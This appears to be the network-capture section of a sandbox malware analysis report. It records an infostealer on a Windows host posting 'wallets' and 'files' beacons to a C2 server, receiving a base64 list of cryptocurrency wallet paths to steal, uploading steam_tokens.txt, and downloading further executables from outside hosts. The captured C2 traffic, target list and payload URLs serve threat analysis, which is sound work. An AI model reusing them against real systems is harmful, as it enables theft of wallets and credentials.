Nov 13, 2024 18:08:38.458631039 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="message"wallets------DGCAAAFCBFBAKFHJDBKJ--
Nov 13, 2024 18:08:38.765149117 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 13, 2024 18:08:38.767786980 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="message"files------EGCBAFCFIJJJECBGIIJK--
Nov 13, 2024 18:08:39.055674076 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:08:39.068290949 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="file"------CAFBGHIDBGHJJKFHJDHC--
Nov 13, 2024 18:08:39.842277050 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:08:39.879046917 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAECGHCBGCBFHIIDHI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------AAAAECGHCBGCBFHIIDHIContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------AAAAECGHCBGCBFHIIDHIContent-Disposition: form-data; name="message"ybncbhylepme------AAAAECGHCBGCBFHIIDHI--
Nov 13, 2024 18:08:40.165453911 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 13, 2024 18:08:42.989691973 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAAKEBGDAFHIIDHIIECF--
Nov 13, 2024 18:08:43.768268108 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49988	185.215.113.16	80	712	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:08:40.216931105 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 13, 2024 18:08:41.104965925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:08:40 GMT Content-Type: application/octet-stream Content-Length: 3272192 Last-Modified: Wed, 13 Nov 2024 17:05:43 GMT Connection: keep-alive ETag: "6734dc67-31ee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@02\2@Wk1h1 @.rsrc@.idata @youvernl@+4+@opxotnvx11@.taggant02"1@
Nov 13, 2024 18:08:41.105029106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:08:41.105065107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:08:41.105180979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:08:41.105216026 CET	848	IN	Data Raw: 9d f9 bd 01 94 84 a5 47 6d d0 e3 6f 6c 78 dc 91 a6 34 54 e9 58 b9 51 01 b4 b9 38 cc 3f 52 78 69 fd f4 bd 01 94 a4 a6 47 6d d0 c3 6f 6c 78 dc f1 a6 34 54 e9 38 b9 51 01 b4 b9 38 cc 3f 52 50 69 0d f4 bd 01 94 d4 99 47 6d d0 a3 6f 6c 78 dc 51 a7 34 Data Ascii: Gmolx4TXQ8?RxiGmolx4T8Q8?RPiGmolxQ4TQ8?Rli<Gmolx4TxQ8?Ri)$Gmcolx4TQ8?RxiGmColxq4TQ8?RxiyGm#mlx@4TQ8?RiGmmlx1A4T
Nov 13, 2024 18:08:41.105252028 CET	1236	IN	Data Raw: 3e 34 54 e9 98 b8 51 01 b4 b9 38 cc 3f 52 78 69 3d f3 bd 01 94 fc 98 47 6d d0 83 6a 6c 78 dc b1 38 34 54 e9 78 b8 51 01 b4 b9 38 cc 3f 52 50 69 4d f3 bd 01 94 5c a6 47 6d d0 63 6a 6c 78 dc 11 39 34 54 e9 d8 b8 51 01 b4 b9 38 cc 3f 52 50 69 45 f3 Data Ascii: >4TQ8?Rxi=Gmjlx84TxQ8?RPiM\Gmcjlx94TQ8?RPiEdGmCjlxq94TQ8?RPi]@Gm#llx74TQ8?RPiUTGmllx184TQ8?R\|imGmklx:4TXR8?RxiGmklx:4T8R8?Rxi
Nov 13, 2024 18:08:41.105288029 CET	1236	IN	Data Raw: 94 2c a0 47 6d d0 c3 67 6c 78 dc f1 4e 34 54 e9 38 21 52 01 b4 b9 38 cc 3f 52 84 69 4d f5 bd 01 94 6c a3 47 6d d0 a3 67 6c 78 dc 51 4f 34 54 e9 98 21 52 01 b4 b9 38 cc 3f 52 84 69 59 f5 bd 01 94 f8 8d 47 6d d0 83 67 6c 78 dc b1 4d 34 54 e9 78 21 Data Ascii: ,GmglxN4T8!R8?RiMlGmglxQO4T!R8?RiYGmglxM4Tx!R8?RPiehGmcglxN4T!R8?RPiGmCglxqN4T!R8?RiGm#elxH4T!R8?R\|i4Gmelx1I4T!R8?RiGmdlxG4TX"R
Nov 13, 2024 18:08:41.105324030 CET	1236	IN	Data Raw: b4 b9 38 cc 3f 52 7c 69 b9 ec bd 01 94 6c 98 47 6d d0 e3 60 6c 78 dc 91 5b 34 54 e9 58 26 52 01 b4 b9 38 cc 3f 52 80 69 cd ec bd 01 94 14 a5 47 6d d0 c3 60 6c 78 dc f1 5b 34 54 e9 38 26 52 01 b4 b9 38 cc 3f 52 a0 69 d5 ec bd 01 94 14 a6 47 6d d0 Data Ascii: 8?R\|ilGm`lx[4TX&R8?RiGm`lx[4T8&R8?RiGm`lxQ\4T&R8?RPiGm`lx^4Tx&R8?RliGmc`lx_4T&R8?R\|i94GmC`lxq_4T&R8?R\|iMGm#blx]4T&R8?P'x\$wTX8
Nov 13, 2024 18:08:41.105513096 CET	1236	IN	Data Raw: 3f 43 f7 ed b9 f1 cd 09 02 45 14 58 cb 6d 2e 06 45 e2 04 01 6d 46 5c 05 7c 77 54 82 a9 70 f7 c7 d1 3b 0f ce 3f ac 38 cc 3f ac 38 cc 3f ac 38 cc 3f 43 f7 ed c5 dd dc 19 e4 34 54 65 8c 78 54 01 6d 48 f1 15 0d 36 54 32 a8 48 05 45 59 54 ef 01 6d 78 Data Ascii: ?CEXm.EmF\\|wTp;?8?8?8?C4TexTmH6T2HEYTmxT*p;GqxTmH\d\|wT?8?8?8?Cx\2rShix3`PEPnm8?CaHiH;ysm.3\|t_O\|id~Dm>^PA8?8?8?CaHiH;ysm.3\|tO
Nov 13, 2024 18:08:41.105549097 CET	1236	IN	Data Raw: 6e 78 cf c5 67 e6 bd 09 6c 64 77 6b f9 46 5c 6f a0 77 54 82 a9 70 f7 c7 d1 3b 12 06 6d 43 f7 ed c5 dd dc 89 e6 34 54 65 8c 78 54 01 6d 48 cf ed 0f 46 f1 15 0d 36 54 32 a8 48 05 45 59 54 ef 01 6d 78 54 8a 5e ef cd f1 c5 78 dc 6a ec 33 54 8c c2 c0 Data Ascii: nxgldwkF\owTp;mC4TexTmHF6T2HEYTmxT^xj3Tt]kxT3XmxTTEQ3,Tmxllc\|&SCXW)+,BkTHq#oL!PEmv(x+`dkTmx_cx\-yT?8?8?CEWGiH;ys
Nov 13, 2024 18:08:41.110407114 CET	1236	IN	Data Raw: 3f ac 38 cc 3f ac 38 cc 3f f3 39 74 6b f1 51 6b 6c dd 84 c2 3f ac 38 cc 3f 43 f7 ed 59 33 7c 00 bb f1 61 c9 69 cc 6a 44 6d 64 77 6b 65 46 5c 7b 85 77 54 82 a9 70 f7 c7 d1 3b 12 06 6d ac 38 cc 3f ac 38 cc 3f ac 38 cc 3f 43 f7 ed 80 33 7c 57 e6 e7 Data Ascii: ?8?8?9tkQkl?8?CY3\|aijDmdwkeF\{wTp;m8?8?8?C3\|W;a6P)lijDmnxTE}m5zRx)TT)PTmx;m8?8?F6ijDmH\uwT)lQ\|ijDm>?8?8?Ca);U8nxHH\wTp;a[3\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50123	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:04.876563072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:09:05.796485901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50124	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:07.309170961 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:09:08.322674036 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 36 30 31 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 30 31 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 30 31 36 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 30 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1006014001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006015001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006016031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1006017001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50126	185.215.113.16	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:08.330903053 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 13, 2024 18:09:09.238358021 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:09 GMT Content-Type: application/octet-stream Content-Length: 3110400 Last-Modified: Wed, 13 Nov 2024 17:05:29 GMT Connection: keep-alive ETag: "6734dc59-2f7600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 ac 34 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ce 03 00 00 c0 00 00 00 00 00 00 00 80 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 2f 00 00 04 00 00 e3 51 30 00 02 00 40 80 00 00 